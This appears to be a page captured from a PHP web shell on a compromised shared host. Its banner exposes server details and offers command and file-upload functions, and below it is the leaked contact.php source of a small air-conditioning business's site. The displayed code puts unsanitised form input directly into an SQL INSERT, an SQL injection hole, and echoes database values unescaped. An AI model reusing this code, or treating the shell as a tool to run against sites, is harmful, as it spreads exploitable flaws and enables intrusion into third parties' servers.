Server IP : 103.53.40.154 / Your IP : 18.225.255.196 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/asinteriors.in/../bittootour.in/../comfortaircon.co/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); if(isset($_POST['submit'])) { $name = $_POST['name']; $phone = $_POST['phone']; $email = $_POST['email']; // $subject = $_POST['subject']; $message = $_POST['message']; $query="INSERT INTO `tbl_queries`(`name`, `phone`, `email`, `message`) VALUE ('$name','$phone','$email','$message')"; $result = mysqli_query($db, $query) or die("Query unsuccessful"); if($result){ echo ("<script> window.alert('Succesfully Send'); window.location.href='contact.php'; </script>"); mysqli_close($db); }else{ echo"Error "; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Contact - Comfort Aircon</title> <?php include 'top-link.php';?> </head> <body> <?php include 'header.php';?> <!--=========================== Start Breadcrumb ===========================--> <section class="breadcrumb_section text-center section_padding"> <ul class="breadcrumb"> <li><a href="index.php">Home</a></li> <li> Contact</li> </ul> <h1>Contact us</h1> </section><!--end .breadcrumb_section--> <!--=========================== End Breadcrumb ===========================--> <!--=========================== Start Contact Form ===========================--> <?php // include_once('admin/config.php'); $sqlc = "SELECT * FROM `tbl_contact` WHERE c_id=1"; $runc = mysqli_query($db,$sqlc) or die("Query Not run"); $datac = mysqli_fetch_assoc($runc); ?> <section style="background:#01395e" class="contact_form_area contact_us section_padding"> <div class="container"> <div class="row"> <div class="col-md-6"> <div class="contact-right contact_details"> <div class="hero-title-with-shape"> <h4 style="color:black"class="heading_with_border">Contact with us</h4> <h1 style="color:black">We offer 24/7 emergency service to all of our customers</h1> </div><!--end .hero-title-with-shape--> <!-- <p>There are many variations of passages of new lorem ipsum available, but the majority have suffered.</p> --> <div class="contact_location_box"> <div class="contact_location_map"> <span class="icon-location"></span> <p style="font-size: 15px;"><?php echo $datac['address']?></p> </div><!--end .contact_location_map--> <div class="contact_location_map contact_location_call"> <span class="icon-contact_call"></span> <p style="font-size: 15px;"><a style="color:white;" href="mailto:<?php echo $datac['email']?>"><?php echo $datac['email']?></a> <br><a style="color:white;" href="tel:<?php echo $datac['phone']?>"><?php echo $datac['phone']?></a></p> </div><!--end .contact_location_map .contact_location_call--> </div><!--end .contact_location_box--> </div><!--end .contact-right .contact_details--> </div><!--end .col-md-6--> <div class="col-md-6"> <div class="contact-right contact-right-style-2 responsive_mt"> <form action="<?php $_PHP_SELF?>" method="POST"> <input class="half_width input_m_right" type="text" name="name" placeholder="Your name"> <input class="half_width" type="EMAIL" name="email" placeholder="Email address"> <input type="tel" name="phone" placeholder="Phone number"> <textarea name="message" id="content" cols="20" rows="5" placeholder="Write message"></textarea> <button class="btn-yellow" name="submit" value="SUBMIT NOW">SUBMIT NOW</button> </form> </div><!--end .contact-right .contact-right-style-2--> </div><!--end .col-md-6--> </div><!--end .row--> </div><!--end .container--> </section><!--end .contact_form_area--> <!--=========================== End Contact Form ===========================--> <?php include 'footer.php';?>